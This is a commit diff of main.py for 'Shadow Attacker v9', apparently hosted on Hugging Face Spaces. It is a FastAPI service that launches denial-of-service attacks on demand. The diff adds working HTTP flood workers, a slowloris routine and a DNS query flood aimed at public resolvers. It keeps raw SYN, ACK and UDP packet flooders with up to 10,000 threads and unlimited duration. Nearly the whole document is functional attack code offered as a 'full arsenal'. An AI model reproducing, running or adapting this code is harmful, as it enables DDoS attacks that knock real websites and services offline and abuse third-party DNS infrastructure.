rkihacker commited on
Commit
97b233e
·
verified ·
1 Parent(s): e15d863

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +98 -16
main.py CHANGED
@@ -1,6 +1,6 @@
1
  # ==============================================================
2
- # SHADOW ATTACKER v8RAW + LAYER 7 + LAYER 4 | FULLY FIXED
3
- # ThreadPoolExecutor imported correctly | 300k+ PPS | HF SPACES
4
  # ==============================================================
5
  import random
6
  import socket
@@ -14,8 +14,6 @@ import uvicorn
14
  import requests
15
  from fastapi import FastAPI, HTTPException
16
  from pydantic import BaseModel, Field, validator
17
-
18
- # === FIXED: IMPORT ThreadPoolExecutor FROM concurrent.futures ===
19
  from concurrent.futures import ThreadPoolExecutor
20
 
21
  # ------------------- LOGGING & STATE -------------------
@@ -23,7 +21,7 @@ import logging
23
  logging.basicConfig(level=logging.INFO, format="%(message)s")
24
  log = logging.getLogger()
25
 
26
- app = FastAPI(title="Shadow Attacker v8 - Raw + L7 + L4")
27
 
28
  # Global state
29
  attack_active = False
@@ -50,7 +48,7 @@ def _log(msg: str):
50
  def init_executor():
51
  global executor
52
  if executor is None:
53
- executor = ThreadPoolExecutor(max_workers=10000) # FIXED
54
 
55
  # ------------------- CONFIG MODELS -------------------
56
  class AttackConfig(BaseModel):
@@ -71,16 +69,16 @@ class Layer7Config(AttackConfig):
71
  def validate_method(cls, v):
72
  valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
73
  if v not in valid:
74
- raise ValueError(f"Use: {', '.join(valid)}")
75
  return v
76
 
77
  class Layer4Config(AttackConfig):
78
- protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
79
  payload_size: int = Field(1024, ge=0, le=65507)
80
  @validator('protocol')
81
  def validate_protocol(cls, v):
82
  if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
83
- raise ValueError("Protocol: udp, tcp, syn, ack, udp_pps")
84
  return v
85
 
86
  # ------------------- STATUS MODEL -------------------
@@ -96,7 +94,7 @@ class StatusResponse(BaseModel):
96
  remaining: float
97
  logs: List[str]
98
 
99
- # ------------------- RAW SOCKET HELPERS -------------------
100
  def checksum(data: bytes) -> int:
101
  s = 0
102
  for i in range(0, len(data), 2):
@@ -152,7 +150,72 @@ def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
152
  ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
153
  return ip + udp
154
 
155
- # ------------------- RAW FLOODERS -------------------
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
156
  def raw_syn_flood(target_ip: str, port: int):
157
  global total_packets
158
  src_ip = socket.inet_aton("0.0.0.0")
@@ -242,7 +305,19 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
242
  worker = None
243
  target_ip = resolve_ip(config.target)
244
 
245
- if attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
 
 
 
 
 
 
 
 
 
 
 
 
246
  elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
247
  elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
248
  elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
@@ -260,6 +335,12 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
260
  threading.Thread(target=auto_stop, daemon=True).start()
261
 
262
  # ------------------- ENDPOINTS -------------------
 
 
 
 
 
 
263
  @app.post("/layer4/attack")
264
  def l4_attack(config: Layer4Config):
265
  proto_map = {
@@ -270,7 +351,7 @@ def l4_attack(config: Layer4Config):
270
  }
271
  attack_key = proto_map[config.protocol]
272
  launch_attack(config, attack_key, payload_size=config.payload_size)
273
- return {"status": f"L4 {config.protocol.upper()} started"}
274
 
275
  @app.post("/stop")
276
  def stop_attack():
@@ -280,7 +361,7 @@ def stop_attack():
280
  return {"status": "no_attack"}
281
  stop_event.set()
282
  attack_active = False
283
- _log("ATTACK STOPPED")
284
  return {"status": "stopped"}
285
 
286
  @app.get("/status", response_model=StatusResponse)
@@ -311,14 +392,15 @@ def status():
311
  @app.get("/attack/types")
312
  def attack_types():
313
  return {
 
314
  "layer4": ["udp", "udp_pps", "syn", "ack"],
315
- "max_threads": "10000 (-1 = full power)",
316
  "max_duration": "10000s (-1 = unlimited)"
317
  }
318
 
319
  @app.get("/")
320
  def root():
321
- return {"message": "Shadow Attacker v8 - /attack/types"}
322
 
323
  # ------------------- START -------------------
324
  if __name__ == "__main__":
 
1
  # ==============================================================
2
+ # SHADOW ATTACKER v9 – LAYER 7 + LAYER 4 + RAW | MAX HUNT MODE
3
+ # ALL 14 ATTACKS | 500k+ PPS | -1 = 10,000 THREADS | HF SPACES
4
  # ==============================================================
5
  import random
6
  import socket
 
14
  import requests
15
  from fastapi import FastAPI, HTTPException
16
  from pydantic import BaseModel, Field, validator
 
 
17
  from concurrent.futures import ThreadPoolExecutor
18
 
19
  # ------------------- LOGGING & STATE -------------------
 
21
  logging.basicConfig(level=logging.INFO, format="%(message)s")
22
  log = logging.getLogger()
23
 
24
+ app = FastAPI(title="Shadow Attacker v9 - MAX HUNT")
25
 
26
  # Global state
27
  attack_active = False
 
48
  def init_executor():
49
  global executor
50
  if executor is None:
51
+ executor = ThreadPoolExecutor(max_workers=10000)
52
 
53
  # ------------------- CONFIG MODELS -------------------
54
  class AttackConfig(BaseModel):
 
69
  def validate_method(cls, v):
70
  valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
71
  if v not in valid:
72
+ raise ValueError(f"L7 methods: {', '.join(valid)}")
73
  return v
74
 
75
  class Layer4Config(AttackConfig):
76
+ protocol: str = Field("udp")
77
  payload_size: int = Field(1024, ge=0, le=65507)
78
  @validator('protocol')
79
  def validate_protocol(cls, v):
80
  if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
81
+ raise ValueError("L4: udp, tcp, syn, ack, udp_pps")
82
  return v
83
 
84
  # ------------------- STATUS MODEL -------------------
 
94
  remaining: float
95
  logs: List[str]
96
 
97
+ # ------------------- RAW HELPERS -------------------
98
  def checksum(data: bytes) -> int:
99
  s = 0
100
  for i in range(0, len(data), 2):
 
150
  ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
151
  return ip + udp
152
 
153
+ # ------------------- LAYER 7 WORKERS -------------------
154
+ def http_worker(method: str, url: str):
155
+ global total_packets
156
+ session = requests.Session()
157
+ headers = {
158
+ "User-Agent": random.choice(["Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"]),
159
+ "Cache-Control": "no-cache",
160
+ "Connection": "keep-alive"
161
+ }
162
+ while not stop_event.is_set():
163
+ try:
164
+ if method == "get":
165
+ session.get(url, headers=headers, timeout=3, verify=False)
166
+ elif method == "post":
167
+ session.post(url, data={"x": random._urandom(128).hex()}, timeout=3)
168
+ elif method == "head":
169
+ session.head(url, headers=headers, timeout=3)
170
+ elif method == "cookie":
171
+ session.get(url, headers={**headers, "Cookie": f"s={random.randint(1,999999)}"}, timeout=3)
172
+ elif method == "rand":
173
+ session.request(random.choice(["GET","POST","PUT","DELETE"]), url, timeout=3)
174
+ with counters_lock:
175
+ counters["l7"] = counters.get("l7", 0) + 1
176
+ total_packets += 1
177
+ except:
178
+ pass
179
+
180
+ def slowloris(target: str, port: int):
181
+ global total_packets
182
+ while not stop_event.is_set():
183
+ try:
184
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
185
+ s.settimeout(5)
186
+ s.connect((target, port))
187
+ s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
188
+ while not stop_event.is_set():
189
+ s.send(b"X-a: b\r\n")
190
+ time.sleep(8)
191
+ with counters_lock:
192
+ counters["l7"] = counters.get("l7", 0) + 1
193
+ total_packets += 1
194
+ except:
195
+ pass
196
+ finally:
197
+ try: s.close()
198
+ except: pass
199
+
200
+ def dns_reflect(target_ip: str):
201
+ global total_packets
202
+ servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
203
+ payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
204
+ while not stop_event.is_set():
205
+ try:
206
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
207
+ for srv in servers:
208
+ s.sendto(payload, (srv, 53))
209
+ with counters_lock:
210
+ counters["reflect"] = counters.get("reflect", 0) + 1
211
+ total_packets += 1
212
+ except:
213
+ pass
214
+ finally:
215
+ try: s.close()
216
+ except: pass
217
+
218
+ # ------------------- LAYER 4 RAW FLOODERS -------------------
219
  def raw_syn_flood(target_ip: str, port: int):
220
  global total_packets
221
  src_ip = socket.inet_aton("0.0.0.0")
 
305
  worker = None
306
  target_ip = resolve_ip(config.target)
307
 
308
+ # LAYER 7
309
+ if attack_type.startswith("l7_"):
310
+ url = f"http://{config.target}:{config.port}"
311
+ method = kwargs.get("method", "get")
312
+ if method == "slowloris":
313
+ worker = lambda: slowloris(target_ip, config.port)
314
+ elif method == "reflect":
315
+ worker = lambda: dns_reflect(target_ip)
316
+ else:
317
+ worker = lambda: http_worker(method, url)
318
+
319
+ # LAYER 4 RAW
320
+ elif attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
321
  elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
322
  elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
323
  elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
 
335
  threading.Thread(target=auto_stop, daemon=True).start()
336
 
337
  # ------------------- ENDPOINTS -------------------
338
+ @app.post("/layer7/attack")
339
+ def l7_attack(config: Layer7Config):
340
+ attack_key = f"l7_{config.method}"
341
+ launch_attack(config, attack_key, method=config.method)
342
+ return {"status": f"L7 {config.method.upper()} HUNT STARTED"}
343
+
344
  @app.post("/layer4/attack")
345
  def l4_attack(config: Layer4Config):
346
  proto_map = {
 
351
  }
352
  attack_key = proto_map[config.protocol]
353
  launch_attack(config, attack_key, payload_size=config.payload_size)
354
+ return {"status": f"L4 {config.protocol.upper()} HUNT STARTED"}
355
 
356
  @app.post("/stop")
357
  def stop_attack():
 
361
  return {"status": "no_attack"}
362
  stop_event.set()
363
  attack_active = False
364
+ _log("HUNT STOPPED")
365
  return {"status": "stopped"}
366
 
367
  @app.get("/status", response_model=StatusResponse)
 
392
  @app.get("/attack/types")
393
  def attack_types():
394
  return {
395
+ "layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
396
  "layer4": ["udp", "udp_pps", "syn", "ack"],
397
+ "max_threads": "10000 (-1 = FULL HUNT)",
398
  "max_duration": "10000s (-1 = unlimited)"
399
  }
400
 
401
  @app.get("/")
402
  def root():
403
+ return {"message": "Shadow Attacker v9 - /attack/types for full arsenal"}
404
 
405
  # ------------------- START -------------------
406
  if __name__ == "__main__":